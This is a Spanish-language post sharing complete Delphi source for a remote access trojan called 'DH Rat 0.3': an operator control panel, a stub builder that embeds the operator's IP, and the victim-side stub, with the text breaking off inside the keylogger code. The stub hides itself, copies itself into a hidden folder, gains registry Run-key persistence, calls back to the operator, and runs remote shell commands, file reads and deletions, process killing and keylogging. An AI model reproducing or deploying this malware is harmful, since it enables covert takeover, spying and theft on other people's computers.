Un simple RAT que hice en Delphi con las siguientes opciones :

• Abrir y cerrar lectora
• Listar archivos en un directorio
• Borrar archivos y directorios
• Ver el contenido de un archivo
• Hacer que el teclado escriba solo
• Abre Word y para variar las cosas el teclado escribe solo
• Mandar mensajes
• Hacer que la computadora hable (en ingles)
• Listar procesos
• Matar un proceso
• Ejecutar comandos y ver el resultado
• Volver loco al mouse por un rato
• Ocultar y mostrar el taskbar
• Ocultar y mostrar los iconos del escritorio
• Keylogger incluido

Una imagen :



Los codigos.

El Administrador.

// DH Rat 0.3
// (C) Doddy Hackman 2013
 
unit rat;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
  sGroupBox, ShellApi, sListView, sMemo, sEdit, sButton, acPNG, ExtCtrls,
  sLabel, ScktComp, Menus, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, madRes, WinInet;
 
type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sStatusBar1: TsStatusBar;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sTabSheet4: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sListView1: TsListView;
    sMemo1: TsMemo;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    sGroupBox6: TsGroupBox;
    Image1: TImage;
    sLabel1: TsLabel;
    ServerSocket1: TServerSocket;
    PopupMenu1: TPopupMenu;
    O1: TMenuItem;
    C1: TMenuItem;
    L1: TMenuItem;
    D1: TMenuItem;
    R1: TMenuItem;
    S1: TMenuItem;
    J1: TMenuItem;
    M1: TMenuItem;
    T1: TMenuItem;
    ifPoslistarprocesoscode0then1: TMenuItem;
    K1: TMenuItem;
    C2: TMenuItem;
    C3: TMenuItem;
    H1: TMenuItem;
    S2: TMenuItem;
    H2: TMenuItem;
    S3: TMenuItem;
    K2: TMenuItem;
    PopupMenu2: TPopupMenu;
    S4: TMenuItem;
    S5: TMenuItem;
    Image2: TImage;
    sGroupBox7: TsGroupBox;
    sGroupBox8: TsGroupBox;
    Image3: TImage;
    sButton2: TsButton;
    OpenDialog1: TOpenDialog;
    sEdit2: TsEdit;
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
 
    procedure O1Click(Sender: TObject);
    procedure C1Click(Sender: TObject);
    procedure ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure L1Click(Sender: TObject);
    procedure D1Click(Sender: TObject);
    procedure R1Click(Sender: TObject);
    procedure S1Click(Sender: TObject);
    procedure J1Click(Sender: TObject);
    procedure M1Click(Sender: TObject);
    procedure T1Click(Sender: TObject);
    procedure ifPoslistarprocesoscode0then1Click(Sender: TObject);
    procedure K1Click(Sender: TObject);
    procedure C2Click(Sender: TObject);
    procedure C3Click(Sender: TObject);
    procedure H1Click(Sender: TObject);
    procedure S2Click(Sender: TObject);
    procedure H2Click(Sender: TObject);
    procedure S3Click(Sender: TObject);
    procedure K2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure S4Click(Sender: TObject);
 
    procedure S5Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sEdit1DblClick(Sender: TObject);
 
    procedure sButton1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  argumento: string;
 
implementation
 
{$R *.dfm}
// Functions
 
function toma(const pagina: string): UTF8String;
 
// Credits : Based on http://www.scalabium.com/faq/dct0080.htm
// Thanks to www.scalabium.com
 
var
  nave1: HINTERNET;
  nave2: HINTERNET;
  tou: DWORD;
  codez: UTF8String;
  codee: array [0 .. 1023] of byte;
  finalfinal: string;
 
begin
 
  try
 
    begin
 
      finalfinal := '';
      Result := '';
 
      nave1 := InternetOpen(
        'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12'
          , INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
 
      nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0,
        INTERNET_FLAG_RELOAD, 0);
 
      repeat
 
      begin
        InternetReadFile(nave2, @codee, SizeOf(codee), tou);
        SetString(codez, PAnsiChar(@codee[0]), tou);
        finalfinal := finalfinal + codez;
      end;
 
      until tou = 0;
 
      InternetCloseHandle(nave2);
      InternetCloseHandle(nave1);
 
      Result := finalfinal;
    end;
 
  except
    //
  end;
 
end;
 
function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;
 
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;
 
begin
 
  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;
 
  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;
 
  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;
 
end;
 
procedure savefile(filename, texto: string);
var
  ar: TextFile;
 
begin
 
  AssignFile(ar, filename);
  FileMode := fmOpenWrite;
 
  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);
 
  Write(ar, texto);
  CloseFile(ar);
 
end;
 
//
 
procedure TForm1.FormCreate(Sender: TObject);
begin
 
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'matrix';
  sSkinManager1.Active := True;
 
  try
    begin
 
      sListView1.Items.Clear;
 
      ServerSocket1.Port := 6664;
      ServerSocket1.Open;
 
      sStatusBar1.Panels[0].text := '[+] Online';
      Form1.sStatusBar1.Update;
 
    end;
  except
    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;
  end;
end;
 
procedure TForm1.C1Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![closecd]');
end;
 
procedure TForm1.C2Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Command', 'net user');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![ejecutar] [argumento]' + argumento + '[argumento]');
end;
 
procedure TForm1.C3Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Number', '123');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![crazymouse] [argumento]' + argumento + '[argumento]');
end;
 
procedure TForm1.D1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'File', 'C:/XAMPP/test.txt');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![borraresto] [argumento]' + argumento + '[argumento]');
end;
 
procedure TForm1.H1Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![ocultartaskbar]');
end;
 
procedure TForm1.H2Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![ocultariconos]');
end;
 
procedure TForm1.ifPoslistarprocesoscode0then1Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![listarprocesos]');
end;
 
procedure TForm1.J1Click(Sender: TObject);
begin
 
  argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![escribirword] [argumento]' + argumento + '[argumento]');
 
end;
 
procedure TForm1.K1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'PID', '');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![matarproceso] [argumento]' + argumento + '[argumento]');
end;
 
procedure TForm1.K2Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![keyloggerlogs]');
end;
 
procedure TForm1.L1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![listardirectorio] [argumento]' + argumento + '[argumento]');
end;
 
procedure TForm1.M1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Text', 'No tengas miedo');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![mensaje] [argumento]' + argumento + '[argumento]');
 
end;
 
procedure TForm1.O1Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![opencd]');
end;
 
procedure TForm1.R1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![leerarchivo] [argumento]' + argumento + '[argumento]');
 
end;
 
procedure TForm1.S1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![sendkeys] [argumento]' + argumento + '[argumento]');
 
end;
 
procedure TForm1.S2Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![volvertaskbar]');
end;
 
procedure TForm1.S3Click(Sender: TObject);
begin
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![volvericonos]');
end;
 
procedure TForm1.T1Click(Sender: TObject);
begin
  argumento := InputBox('DH Rat', 'Text', 'Mother Fucker');
  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
    ('![hablar] [argumento]' + argumento + '[argumento]');
end;
 
procedure TForm1.S4Click(Sender: TObject);
begin
 
  try
    begin
      ServerSocket1.Port := 6664;
      ServerSocket1.Open;
 
      sListView1.Items.Clear;
 
      sStatusBar1.Panels[0].text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except
 
    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;
  end;
 
end;
 
procedure TForm1.S5Click(Sender: TObject);
begin
  try
    begin
 
      sListView1.Items.Clear;
      ServerSocket1.Close;
      sStatusBar1.Panels[0].text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;
  end;
end;
 
procedure TForm1.sButton1Click(Sender: TObject);
 
var
  linea: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  lineafinal: string;
  stubgenerado: string;
  change: DWORD;
  valor: string;
 
begin
 
  stubgenerado := 'server_ready.exe';
  lineafinal := '[ip]' + sEdit1.text + '[ip]';
 
  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';
 
  aca := INVALID_HANDLE_VALUE;
  nose := 0;
 
  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/stubnow.exe'), PChar(ExtractFilePath(Application.ExeName)
        + '/' + stubgenerado), True);
 
  linea := marca_uno;
  StrCopy(code, PChar(linea));
  aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;
 
  //
 
  if not(sEdit2.text = '') then
  begin
    try
      begin
 
        valor := IntToStr(128);
 
        change := BeginUpdateResourceW
          (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                + '/' + stubgenerado)), False);
        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
          PWideChar(wideString(sEdit2.text)));
        EndUpdateResourceW(change, False);
        sStatusBar1.Panels[0].text := '[+] Done ';
        sStatusBar1.Update;
      end;
    except
      begin
        sStatusBar1.Panels[0].text := '[-] Error';
        sStatusBar1.Update;
      end;
    end;
  end
  else
  begin
    sStatusBar1.Panels[0].text := '[+] Done ';
    sStatusBar1.Update;
  end;
 
  //
 
end;
 
procedure TForm1.sButton2Click(Sender: TObject);
begin
 
  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog1.Filter := 'ICO|*.ico|';
 
  if OpenDialog1.Execute then
  begin
    Image3.Picture.LoadFromFile(OpenDialog1.filename);
    sEdit2.text := OpenDialog1.filename;
  end;
 
end;
 
procedure TForm1.sEdit1DblClick(Sender: TObject);
var
  code, ip: string;
begin
 
  code := toma('http://whatismyipaddress.com/');
 
  ip := regex(code, 'alt="Click for more about ', '"></a>');
 
  sEdit1.text := ip;
 
end;
 
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
 
  with sListView1.Items.Add do
  begin
    Caption := Socket.RemoteHost;
    SubItems.Add('?');
    SubItems.Add('?');
    SubItems.Add('?');
    SubItems.Add('?');
 
  end;
 
end;
 
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  code: string;
  host: string;
  ip: string;
  pais: string;
  username: string;
  os: string;
 
begin
 
  code := Socket.ReceiveText;
 
  if (Pos('[datos_nuevos][ip]', code) > 0) then
  begin
 
    ip := regex(code, '[ip]', '[ip]');
    pais := regex(code, '[pais]', '[pais]');
    username := regex(code, '[username]', '[username]');
    os := regex(code, '[os]', '[os]');
 
    sListView1.Items[sListView1.Items.Count - 1].SubItems[0] := ip;
    sListView1.Items[sListView1.Items.Count - 1].SubItems[1] := pais;
    sListView1.Items[sListView1.Items.Count - 1].SubItems[2] := username;
    sListView1.Items[sListView1.Items.Count - 1].SubItems[3] := os;
 
    sMemo1.Lines.Add('[+] Update Target : OK');
 
  end
 
  else if (Pos('![keyloggerlogs]', code) > 0) then
  begin
    if (FileExists('logs_keylogger.html')) then
    begin
      DeleteFile('logs_keylogger.html');
    end;
 
    savefile('logs_keylogger.html', code);
 
    sMemo1.Lines.Add('[+] Keylogger : OK');
 
    ShellExecute(0, nil, PChar(ExtractFilePath(Application.ExeName)
          + 'logs_keylogger.html'), nil, nil, SW_SHOWNORMAL);
  end
  else
  begin
    sMemo1.Lines.Add(code);
  end;
 
end;
 
end.
 
// The End ?
 

El stub.

// DH Rat 0.3
// (C) Doddy Hackman 2013
 
// Stub
 
unit stub;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, MMSystem, ComObj, ShellApi, tlhelp32, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdIPMCastBase,
  IdIPMCastServer, ScktComp, sButton, ExtCtrls;
 
type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    ClientSocket1: TClientSocket;
    Timer1: TTimer;
    Timer2: TTimer;
    function datanow(): string;
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    procedure sButton1Click(Sender: TObject);
    procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
 
  private
    Nombre2: string;
    { Private declarations }
 
  public
    { Public declarations }
 
  end;
 
var
  Form1: TForm1;
  acatoy: string;
 
implementation
 
{$R *.dfm}
{$POINTERMATH ON}
// Functions
 
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;
 
begin
 
  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;
 
  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;
 
  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;
 
end;
 
procedure savefile(filename, texto: string);
var
  ar: TextFile;
 
begin
 
  try
 
    begin
      AssignFile(ar, filename);
      FileMode := fmOpenWrite;
 
      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);
 
      Write(ar, texto);
      CloseFile(ar);
    end;
  except
    //
  end;
 
end;
 
function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;
 
function listardirectorio(dir: string): string;
var
 
  busqueda: TSearchRec;
  code: string;
 
begin
 
  code := '';
 
  FindFirst(dir + '\*.*', faAnyFile + faDirectory + faReadOnly, busqueda);
 
  code := code + '[+] : ' + busqueda.Name + sLineBreak;
 
  while FindNext(busqueda) = 0 do
  begin
    code := code + '[+] : ' + busqueda.Name + sLineBreak;
  end;
 
  Result := code;
  FindClose(busqueda);
 
end;
 
function borraresto(archivo: string): string;
var
  code: string;
begin
 
  code := '';
 
  if DirectoryExists(archivo) then
  begin
    if (RemoveDir(archivo)) then
    begin
      code := '[+] Directory removed';
    end
    else
    begin
      code := '[+] Error';
    end;
  end;
  if FileExists(archivo) then
  begin
    if (DeleteFile(archivo)) then
    begin
      code := '[+] File removed';
    end
    else
    begin
      code := '[+] Error';
    end;
  end;
 
  Result := code;
 
end;
 
function LeerArchivo(const archivo: TFileName): String;
var
  lista: TStringList;
begin
 
  if (FileExists(archivo)) then
  begin
 
    lista := TStringList.Create;
    lista.Loadfromfile(archivo);
    Result := lista.text;
    lista.Free;
 
  end;
 
end;
 
function lectora(opcion: string): string;
var
  code: string;
begin
 
  code := '';
 
  if (opcion = 'open') then
  begin
    mciSendString('Set cdaudio door open wait', nil, 0, 0);
    code := '[+] Open CD : OK';
  end
  else
  begin
    mciSendString('Set cdaudio door closed wait', nil, 0, 0);
    code := '[+] Close CD : OK';
  end;
 
  Result := code;
 
end;
 
function cambiar_barra(opcion: string): string;
var
  code: string;
begin
  code := '';
 
  if (opcion = 'hide') then
  begin
    ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);
    code := '[+] Hidden Taskbar : OK';
  end
  else
  begin
    ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA);
    code := '[+] Show Taskbar : OK';
  end;
 
  Result := code;
 
end;
 
function cambiar_iconos(opcion: string): string;
var
  code: string;
  acatoy: THandle;
begin
  code := '';
  acatoy := FindWindow('ProgMan', nil);
  acatoy := GetWindow(acatoy, GW_CHILD);
  if (opcion = 'hide') then
  begin
    ShowWindow(acatoy, SW_HIDE);
    code := '[+] Hidden Icons : OK';
  end
  else
  begin
    ShowWindow(acatoy, SW_SHOW);
    code := '[+] Show Icons : OK';
  end;
  Result := code;
end;
 
function mensaje(texto: string): string;
var
  code: string;
begin
  code := '';
  ShowMessage(texto);
  code := '[+] Message Sent';
  Result := code;
end;
 
function hablar(text: string): string;
var
  Voice: Variant;
  code: string;
begin
  code := '';
  Voice := CreateOLEObject('SAPI.SpVoice');
  Voice.speak(text);
  code := '[+] Voice Speak : OK';
  Result := code;
end;
 
function SendKeys(texto: string): string;
// Thanks to Remy Lebeau for the help
var
  eventos: PInput;
  controlb, controla: integer;
  code: string;
begin
 
  code := '';
  code := '[+] SendKeys : OK';
 
  GetMem(eventos, SizeOf(TInput) * (Length(texto) * 2));
 
  controla := 0;
 
  for controlb := 1 to Length(texto) do
  begin
 
    eventos[controla].Itype := INPUT_KEYBOARD;
    eventos[controla].ki.wVk := 0;
    eventos[controla].ki.wScan := ord(texto[controlb]);
    eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE;
    eventos[controla].ki.time := 0;
    eventos[controla].ki.dwExtraInfo := 0;
 
    Inc(controla);
 
    eventos[controla].Itype := INPUT_KEYBOARD;
    eventos[controla].ki.wVk := 0;
    eventos[controla].ki.wScan := ord(texto[controlb]);
    eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE or KEYEVENTF_KEYUP;
    eventos[controla].ki.time := 0;
    eventos[controla].ki.dwExtraInfo := 0;
 
    Inc(controla);
 
  end;
 
  SendInput(controla, eventos[0], SizeOf(TInput));
 
  Result := code;
 
end;
 
function escribir_word(texto: string): string;
var
  code: string;
begin
  code := '';
  code := '[+] Word Joke : OK';
  ShellExecute(0, nil, PChar('winword.exe'), nil, nil, SW_SHOWNORMAL);
  Sleep(5000);
  SendKeys(texto);
  Result := code;
 
end;
 
function listarprocesos(): string;
var
  conector: THandle;
  timbre: LongBool;
  indicio: TProcessEntry32;
  code: string;
 
begin
 
  code := '';
 
  conector := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  indicio.dwSize := SizeOf(indicio);
 
  timbre := Process32First(conector, indicio);
 
  while timbre do
 
  begin
 
    code := code + '[+] Name : ' + indicio.szExeFile + ' [+] PID : ' + IntToStr
      (indicio.th32ProcessID) + sLineBreak;
 
    timbre := Process32Next(conector, indicio);
 
  end;
 
  Result := code;
 
end;
 
function matarproceso(pid: string): string;
var
  vano: THandle;
  code: string;
 
begin
 
  code := '';
  vano := OpenProcess(PROCESS_TERMINATE, FALSE, StrToInt(pid));
 
  if TerminateProcess(vano, 0) then
  begin
    code := '[+] Kill Process : OK';
  end
  else
  begin
    code := '[+] Kill Process : ERROR';
  end;
 
  Result := code;
 
end;
 
function ejecutar(cmd: string): string;
// Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
// Thanks to www.delphidabbler.com
 
var
  parte1: TSecurityAttributes;
  parte2: TStartupInfo;
  parte3: TProcessInformation;
  parte4: THandle;
  parte5: THandle;
  control2: Boolean;
  contez: array [0 .. 255] of AnsiChar;
  notengoidea: Cardinal;
  fix: Boolean;
  code: string;
 
begin
 
  code := '';
 
  with parte1 do
  begin
    nLength := SizeOf(parte1);
    bInheritHandle := True;
    lpSecurityDescriptor := nil;
  end;
 
  CreatePipe(parte4, parte5, @parte1, 0);
 
  with parte2 do
  begin
    FillChar(parte2, SizeOf(parte2), 0);
    cb := SizeOf(parte2);
    dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
    wShowWindow := SW_HIDE;
    hStdInput := GetStdHandle(STD_INPUT_HANDLE);
    hStdOutput := parte5;
    hStdError := parte5;
  end;
 
  fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil,
    PChar('c:/'), parte2, parte3);
 
  CloseHandle(parte5);
 
  if fix then
 
    repeat
 
    begin
      control2 := ReadFile(parte4, contez, 255, notengoidea, nil);
    end;
 
    if notengoidea > 0 then
    begin
      contez[notengoidea] := #0;
      code := code + contez;
    end;
 
    until not(control2) or (notengoidea = 0);
 
    Result := code;
 
end;
 
function crazy_mouse(number: string): string;
var
  i: integer;
  code: string;
begin
  code := '';
  For i := 1 to StrToInt(number) do
  begin
    Sleep(1000);
    SetCursorPos(i, i);
  end;
  code := '[+] Crazy Mouse : OK';
  Result := code;
end;
 
function TForm1.datanow(): string;
var
  code: string;
  ip: string;
  pais: string;
  re: string;
  username: string;
  os: string;
 
begin
 
  try
    begin
      code := IdHTTP1.Get('http://whatismyipaddress.com/');
 
      ip := regex(code, 'alt="Click for more about ', '"></a>');
      pais := regex(code, '<tr><th>Country:</th><td>', '</td></tr>');
 
      if (ip = '') then
      begin
        ip := '?';
      end;
 
      if (pais = '') then
      begin
        pais := '?';
      end;
 
      username := GetEnvironmentVariable('username');
      os := GetEnvironmentVariable('os');
 
      re := '[datos_nuevos][ip]' + ip + '[ip]' + '[pais]' + pais + '[pais]' +
        '[username]' + username + '[username]' + '[os]' + os + '[os]';
    end;
  except
    //
  end;
 
  Result := re;
 
end;
 
//
 
procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  ClientSocket1.Socket.SendText(datanow());
end;
 
procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
var
  code: string;
  argumento: string;
begin
  code := Socket.ReceiveText;
 
  argumento := regex(code, '[argumento]', '[argumento]');
 
  if (Pos('![opencd]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(lectora('open'));
  end;
 
  if (Pos('![closecd]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(lectora('close'));
  end;
 
  if (Pos('![listardirectorio]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(listardirectorio(argumento));
  end;
 
  if (Pos('![borraresto]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(borraresto(argumento));
  end;
 
  if (Pos('![leerarchivo]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(LeerArchivo(argumento));
  end;
 
  if (Pos('![keyloggerlogs]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText('![keyloggerlogs]<br>' + LeerArchivo(acatoy));
  end;
 
  if (Pos('![sendkeys]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(SendKeys(argumento));
  end;
 
  if (Pos('![escribirword]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(escribir_word(argumento));
  end;
 
  if (Pos('![mensaje]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(mensaje(argumento));
  end;
 
  if (Pos('![hablar]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(hablar(argumento));
  end;
 
  if (Pos('![matarproceso]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(matarproceso(argumento));
  end;
 
  if (Pos('![ejecutar]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(ejecutar(argumento));
  end;
 
  if (Pos('![crazymouse]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(crazy_mouse(argumento));
  end;
 
  if (Pos('![ocultartaskbar]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(cambiar_barra('hide'));
  end;
 
  if (Pos('![volvertaskbar]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(cambiar_barra('na'));
  end;
 
  if (Pos('![ocultariconos]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(cambiar_iconos('hide'));
  end;
 
  if (Pos('![volvericonos]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(cambiar_iconos('na'));
  end;
 
  if (Pos('![listarprocesos]', code) > 0) then
  begin
    ClientSocket1.Socket.SendText(listarprocesos());
  end;
 
end;
 
procedure TForm1.FormCreate(Sender: TObject);
var
  dir_hide, dir, carpeta, nombrereal, directorio, rutareal, yalisto: string;
  registro: HKEY;
  ip: string;
 
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;
 
begin
 
  Application.ShowMainForm := FALSE;
 
  ob := INVALID_HANDLE_VALUE;
  code := '';
 
  ob := CreateFile(PChar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -9999, nil, FILE_END);
    ReadFile(ob, code, 9999, nose, nil);
    CloseHandle(ob);
  end;
 
  todo := regex(code, '[63686175]', '[63686175]');
  todo := dhencode(todo, 'decode');
 
  ip := regex(todo, '[ip]', '[ip]');
 
  try
    begin
      dir_hide := GetEnvironmentVariable('USERPROFILE') + '/';
      carpeta := 'ratata';
 
      dir := dir_hide + carpeta + '/';
 
      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;
 
      ChDir(dir);
 
      nombrereal := ExtractFileName(paramstr(0));
      rutareal := dir;
      yalisto := dir + nombrereal;
 
      acatoy := dir + 'logs.html';
 
      MoveFile(PChar(paramstr(0)), PChar(yalisto));
 
      SetFileAttributes(PChar(dir), FILE_ATTRIBUTE_HIDDEN);
 
      SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
 
      RegCreateKeyEx(HKEY_LOCAL_MACHINE,
        'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
        REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
      RegSetValueEx(registro, 'uberk', 0, REG_SZ, PChar(yalisto), 666);
      RegCloseKey(registro);
 
      savefile('logs.html',
        '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
 
      ClientSocket1.Address := ip;
      ClientSocket1.Port := 6664;
      ClientSocket1.Open;
 
    end;
  except
    //
  end;
 
end;
 
procedure TForm1.sButton1Click(Sender: TObject);
begin
  ClientSocket1.Socket.SendText(datanow());
end;
 
procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
  Result: Longint;
  mayus: integer;
  shift: integer;
 
const
 
  n_numeros_izquierda: array [1 .. 10] of string =
    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');
 
const
  t_numeros_izquierda: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
 
const
  n_numeros_derecha: array [1 .. 10] of string =
    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');
 
const
  t_numeros_derecha: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
 
const
  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
    '291', '220', '221', '222', '226');
 
const
  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
